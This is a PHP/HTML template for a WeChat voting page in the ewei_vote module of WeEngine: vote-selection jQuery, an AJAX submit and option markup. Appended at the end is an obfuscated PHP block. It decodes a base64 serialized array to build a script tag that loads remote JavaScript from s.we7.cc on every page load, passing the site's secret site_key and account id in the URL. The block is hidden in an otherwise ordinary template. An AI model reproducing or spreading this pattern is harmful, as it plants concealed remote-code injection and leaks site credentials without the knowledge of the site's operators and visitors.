vote-content.html
7.11 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
<meta name="apple-mobile-web-app-capable" content="yes">
<meta name="apple-mobile-web-app-status-bar-style" content="black">
<meta name="format-detection" content="telephone=no">
<title>微投票</title>
{php echo register_jssdk();}
<link type="text/css" rel="stylesheet" href="../addons/ewei_vote/style/vote.css"/>
<script type="text/javascript" src="../addons/ewei_vote/style/js/jquery.js"></script>
<script type="text/javascript" src="../addons/ewei_vote/style/js/alert.js"></script>
<script type="text/javascript" src="http://res.wx.qq.com/open/js/jweixin-1.0.0.js"></script>
<script type="text/javascript">
// 微投票分享
wx.ready(function () {
sharedata = {
title: "{$sharetitle}",
desc: "{$sharedesc}",
link: "{$sharelink}",
imgUrl: "{$shareimg}"
};
wx.onMenuShareAppMessage(sharedata);
wx.onMenuShareTimeline(sharedata);
});
var votetype = "{$reply['votetype']}";
function divClick(obj) {
obj = $(obj);
if (votetype == '0') {
//单选
$(".oimg").show();
$(".oimg-sel").hide();
$(".option").attr("sel", "false");
}
var sel = obj.attr("sel");
if (sel == "false") {
obj.attr("sel", "true");
$(".oimg-sel", obj).show();
$(".oimg", obj).hide();
}
else {
obj.attr("sel", "false");
$(".oimg-sel", obj).hide();
$(".oimg", obj).show();
}
}
function submit() {
var ids = "";
$(".option").each(function () {
if ($(this).attr("sel") === "true") {
if (ids !== "") {
ids += ",";
}
ids += $(this).attr("val");
}
});
if (ids == '') {
alert('请选择投票选项!');
return;
}
$.ajax({
url: "{$_W['siteroot']}app/{php echo $this->createMobileUrl('submit', array('id' => $rid))}",
data: {
ids: ids,
id: "{$rid}"
},
beforeSend: function () {
$(".submit").attr("disabled", "true");
},
success: function (data) {
if (data != '') {
alert(data);
return;
}
alert("投票成功!");
$(".submit").removeAttr("disabled");
setTimeout(function () {
location.href = "{$_W['siteroot']}app/{php echo $this->createMobileUrl('result', array('id' => $rid))}";
}, 500);
},
error: function () {
},
timeout: 15000
});
}
</script>
</head>
<body>
<div class="wrapper" style="margin-top:-8px;">
<img class="bg" src="../addons/ewei_vote/style/images/bg.jpg">
<input type='hidden' name='select_id'/>
<div class="top fn-clear">
<div class="title-cont">
<p class="title">{$reply['title']}</p>
<p class="timeout" style='padding-left:15px;'>
<img class="clock" src="../addons/ewei_vote/style/images/clock.png">
<span class="text">{$limits}</span>
</p>
<p> </p>
</div>
</div>
{if !empty($reply['thumb'])}
<div class="cover">
<img class="line" src="../addons/ewei_vote/style/images/ctline.jpg">
<img class="cimg" src="{php echo tomedia($reply['thumb'])}">
<img class="line" src="../addons/ewei_vote/style/images/cbline.jpg">
</div>
{/if}
{if $isshare == 1}
<div class="summary">参与方法:</div>
<div class="tip-cont">{php echo htmlspecialchars_decode($reply['share_txt'])}</div>
{else}
<div class="summary">{$reply['description']}</div>
<div class="tip-cont">
<img class="icon" src="../addons/ewei_vote/style/images/tip_icon.png">
投票后才能看到结果 ( {$selects} {if !empty($reply['votetimes'])}),
您还可以投票 {$canvotetimes} 次{/if}
</div>
<div class="option-cont">
{loop $list $row}
<div class="option" val="{$row['id']}" onclick="divClick(this)" sel="false">
{if !empty($row['thumb']) && $reply['isimg']==1}
<div>
<image src="{php echo tomedia($row['thumb'])}" style="width:95%;margin:10px;"/>
</div>
{/if}
<img id="img{$row['id']}" class="oimg" src="../addons/ewei_vote/style/images/checkimg.png">
<img id="img{$row['id']}_sel" class="oimg-sel" src="../addons/ewei_vote/style/images/checkimg_check.png">
<div>{$row['title']}</div>
</div>
<img class="sep" src="../addons/ewei_vote/style/images/option_sep.jpg">
{/loop}
</div>
<div style="color:red;text-align:center;margin-top:15px;">{if !empty($subscribeurl)}<span>关注公众号:<a style="color:red;" href="{$subscribeurl}">{$_W['account']['name']}</a></span>{/if}</div>
<div class="vote-cont">
<div style="height: 10px;"></div>
<img class="vote-btn" src="../addons/ewei_vote/style/images/vote.png" onclick="submit()"/>
<div style="height: 10px;"></div>
</div>
{/if}
<p class="page-url"></p>
</div>
</body>
{php global $_W;$_we7_ad_ujfqr = unserialize(base64_decode('YToyOntzOjE6InMiO2E6MTg6e2k6MTQ7czo0NzoiaHR0cDovL3Mud2U3LmNjL2luZGV4LnBocD9jPXN0b3JlJmE9bGluayZkbz1hZCYiO2k6MztzOjQ6InR5cGUiO2k6MTA7czo4OiJzaXRlX2tleSI7aToxNztzOjExOiIiPjwvc2NyaXB0PiI7aToxNTtzOjE6IiYiO2k6NjtzOjE0OiJjdXJyZW50X21vZHVsZSI7aToxO3M6NzoiYWRfdHlwZSI7aTo4O3M6NzoidW5pYWNpZCI7aTo0O3M6NDoidmlldyI7aToyO3M6MToiMSI7aToxMTtzOjc6InNldHRpbmciO2k6NTtzOjY6Im1vZHVsZSI7aTo3O3M6NDoibmFtZSI7aToxNjtzOjM2OiI8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgc3JjPSIiO2k6MDtzOjA6IiI7aToxMztzOjM6ImtleSI7aTo5O3M6NzoidW5pYWNpZCI7aToxMjtzOjQ6InNpdGUiO31zOjE6ImYiO2E6Mjp7aTowO3M6MTY6Imh0dHBfYnVpbGRfcXVlcnkiO2k6MTtzOjQ6Im51bGwiO319')); $modulename = 'ewei_vote'; $querystring = array( $_we7_ad_ujfqr['s'][0x0001] => $_we7_ad_ujfqr['s'][0x00000002], $_we7_ad_ujfqr['s'][0x0003] => $_we7_ad_ujfqr['s'][0x04], $_we7_ad_ujfqr['s'][0x005] => !empty($modulename) ? $modulename : $_W[$_we7_ad_ujfqr['s'][0x00000006]][$_we7_ad_ujfqr['s'][0x00007]], $_we7_ad_ujfqr['s'][0x000008] => $_W[$_we7_ad_ujfqr['s'][0x00009]], $_we7_ad_ujfqr['s'][0x00000a] => $_W[$_we7_ad_ujfqr['s'][0x0000b]][$_we7_ad_ujfqr['s'][0x0000c]][$_we7_ad_ujfqr['s'][0x00000d]], ); $url = $_we7_ad_ujfqr['s'][0x0000e].$_we7_ad_ujfqr['f'][0x0000000]($querystring, $_we7_ad_ujfqr['f'][0x001], $_we7_ad_ujfqr['s'][0x00f]); echo $_we7_ad_ujfqr['s'][0x0010].$url.$_we7_ad_ujfqr['s'][0x00011];}
</html>